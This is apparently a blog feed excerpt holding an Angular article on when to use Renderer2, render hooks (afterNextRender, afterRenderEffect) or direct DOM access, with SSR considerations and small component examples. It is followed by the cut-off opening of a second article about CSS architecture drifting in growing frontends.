&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flchmdvjs7ofgacuqj5ss.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flchmdvjs7ofgacuqj5ss.png" alt=" " width="799" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why this topic matters more now. I think a lot of Angular codebases still carry old advice without revisiting whether it still makes sense. That is how teams slowly accumulate small architectural mistakes.&lt;/p&gt;

&lt;p&gt;You see things like this: business logic hiding inside DOM callbacks, browser only code mixed into components that should work with SSR, Renderer2 used for things that only need a simple read after render direct nativeElement access scattered everywhere because it felt faster in the moment&lt;/p&gt;

&lt;p&gt;None of these choices will instantly destroy your app. That is exactly why they are dangerous. They quietly make the codebase harder to reason about. So let’s go tool by tool.. Renderer2 is Angular’s abstraction for interacting with the DOM in a framework friendly way. It gives you methods for setting attributes, adding classes, listening to events, and creating or removing elements.&lt;/p&gt;

&lt;p&gt;In older Angular discussions, Renderer2 was often presented as the safe option. And to be fair, it still has a place. I usually think about Renderer2 as a write oriented tool. If I need Angular controlled DOM updates and I want to avoid writing directly to nativeElement.style or nativeElement.classList, Renderer2 is a reasonable fit. A simple example could look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-demo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div #box&amp;gt;Demo&amp;lt;/div&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DemoComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kr"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kr"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;box&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;box&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;highlight&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;element&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;box&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;is-active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;color&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tomato&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is clear enough. Angular knows you are intentionally updating the DOM. The code is explicit. But here is where I think people overuse it.&lt;/p&gt;

&lt;p&gt;If your goal is just to wait until rendering is done so you can read layout information or focus an element, Renderer2 is not really solving the core problem. It only gives you a way to perform DOM operations. It does not answer the timing question. That is where render hooks feel much better.. &lt;code&gt;afterNextRender&lt;/code&gt; is one of those APIs that immediately makes sense once you use it in a real component. The use case is simple. You want Angular to finish rendering, then do something once.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-search&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;input #searchInput /&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SearchComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kr"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;searchInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLInputElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;searchInput&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;searchInput&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reads much closer to intent. You are not saying “I want a DOM abstraction.” You are saying “I want this code to run after Angular finishes rendering.”&lt;/p&gt;

&lt;p&gt;That is a much better level of abstraction for many modern Angular cases. In my opinion, this is one of the biggest mindset shifts. A lot of DOM related code is not really about DOM mutation. It is about render timing. And once you see that, it becomes hard to go back to older patterns. afterRenderEffect is where things get more interesting.&lt;/p&gt;

&lt;p&gt;If afterNextRender is for one time work after rendering, afterRenderEffect is for reactive post render work. It lets you respond after Angular renders and re renders, while still fitting into Angular’s reactive model. This is useful when DOM related logic depends on changing state. For example, imagine a component where an expanded panel changes based on a signal, and after each render you want to scroll the active section into view.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChildren&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-panels&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    @for (item of items(); track item.id) {
      &amp;lt;section #panel&amp;gt;{{ item.label }}&amp;lt;/section&amp;gt;
    }
  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PanelsComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kr"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;One&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Two&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="kr"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;panels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChildren&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;panel&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;firstPanel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;panels&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;firstPanel&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;nearest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This kind of API feels much closer to how modern Angular wants you to think. State changes → Angular renders → Then your post render effect runs.&lt;/p&gt;

&lt;p&gt;That sequence is clean. It is much easier to reason about than manually trying to stitch together lifecycle timing and raw DOM operations. That said, I would still be careful with it. Just because afterRenderEffect is reactive does not mean it should become your new place for business logic. It is still for render related side effects. Once that boundary gets blurred, the component becomes harder to maintain. Direct DOM access&lt;/p&gt;

&lt;p&gt;Now the controversial part. I do think direct DOM access is fine in some cases. Yes, really. If I need to work with a browser only library, a canvas API, a video element, a ResizeObserver, or some very specific low level integration, I do not think forcing Renderer2 into the picture automatically makes the code better. Sometimes nativeElement is just the clearest tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-chart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;canvas #chartCanvas&amp;gt;&amp;lt;/canvas&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChartComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kr"&gt;protected&lt;/span&gt; &lt;span class="nx"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;chartCanvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLCanvasElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;chartCanvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chartCanvas&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tomato&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is direct. It is readable. It matches the browser API you are integrating with. The problem is not direct DOM access itself. The problem is unmanaged direct DOM access spread across the app with no thought about platform safety or maintainability. That is where people get burned. SSR safety. This is the part people usually oversimplify.&lt;/p&gt;

&lt;p&gt;Renderer2 is often described as the safer option, and direct DOM access is often described as dangerous. That is only partially true. The real SSR question is this - Does your code assume a real browser environment at the wrong time? If you touch window, document, or native browser APIs during server rendering, you will have problems. If you run DOM reads and writes only after rendering in the browser, your code is much safer.&lt;/p&gt;

&lt;p&gt;That is one reason render hooks are so useful. They help align DOM work with actual render timing. My practical rule is simple.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the code depends on a browser only API, I keep it behind a clearly browser oriented boundary.&lt;/li&gt;
&lt;li&gt;If the code is just a post render interaction, I start with a render hook.&lt;/li&gt;
&lt;li&gt;If I need Angular style DOM writes, especially for classes, styles, or listeners, I consider Renderer2.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The decision I use in real projects If I had to reduce this whole topic into one simple decision guide, it would be this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If I only need to do something after Angular renders once, I use afterNextRender.&lt;/li&gt;
&lt;li&gt;If I need reactive post render behavior tied to changing state, I use afterRenderEffect.&lt;/li&gt;
&lt;li&gt;If I need framework friendly DOM writes or listeners, I reach for Renderer2.&lt;/li&gt;
&lt;li&gt;If I am integrating with a browser API or a third party library, direct DOM access is often fine, but I keep it isolated and intentional.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That last part matters a lot. Intentional code ages much better than defensive code copied from old blog posts. What creates tech debt In my experience, tech debt here comes from three habits. First, using Renderer2 as a default answer without asking what the real problem is.&lt;/p&gt;

&lt;p&gt;Second, mixing DOM code with business logic until the component becomes impossible to scan. Third, pretending direct DOM access is always wrong, then hiding the same browser assumptions behind a more “Angular looking” API. A prettier abstraction does not automatically mean a better design.&lt;/p&gt;

&lt;p&gt;My honest opinion is that render hooks are the missing piece many Angular developers needed for years. They make a lot of DOM related code feel natural again because they solve the timing problem directly. Renderer2 is still useful, but I no longer see it as the default answer for every DOM related task.&lt;/p&gt;

&lt;p&gt;And direct DOM access is not some forbidden hack. It is a tool. Just use it where it makes architectural sense, not everywhere. If I were starting fresh today, my order of preference would usually be: render hooks first for timing, Renderer2 when I need Angular style writes, direct DOM access for browser specific integrations. That gives me the cleanest mental model, the least confusion, and usually the least future regret.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfyb59ieqvvvq6iio3sj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfyb59ieqvvvq6iio3sj.jpg" alt=" " width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Unhandled CSS Ruining Life</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Sat, 18 Apr 2026 12:37:05 +0000</pubDate>
      <link>https://dev.to/krivanek06/unhandled-css-ruining-life-2hif</link>
      <guid>https://dev.to/krivanek06/unhandled-css-ruining-life-2hif</guid>
      <description>&lt;p&gt;There is a moment in the life of almost every mature frontend when CSS stops feeling like a tool and starts feeling like archaeology. You open one screen and the primary button has one height. On another screen, it is almost the same height, but not quite. Inputs look consistent until you open a modal. Selects behave until a page level override wins. Somewhere in the codebase there is a global stylesheet that still matters, a component stylesheet that matters more, and one deep selector that matters most of all. Nothing is completely broken. That is what makes this kind of problem dangerous. The problem is usually not “bad CSS.” The problem is that the application no longer has a clear styling architecture.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;When CSS stops being local&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Early in a project, styling feels easy because the UI is still small enough to be held in one person’s head. A global stylesheet provides the visual baseline. Components get their own local styles. A UI library gives you buttons, selects, inputs, and checkboxes that are good enough to move quickly. If the design team needs something slightly different, you add an override and keep going. Then the application grows. New sections arrive. Feature teams solve similar problems in slightly different ways. One group wraps a checkbox into a reusable consent component because the label needs links, validation, and custom spacing. Another group uses the raw checkbox from the component library because it is quicker and the feature deadline is near. Somebody adds a global override to make all form controls match the brand more closely. Somebody else adds a local override because the global rule broke a special case. A page with unusual requirements bends the styling rules just enough to ship. No one is wrong in the moment.&lt;/p&gt;

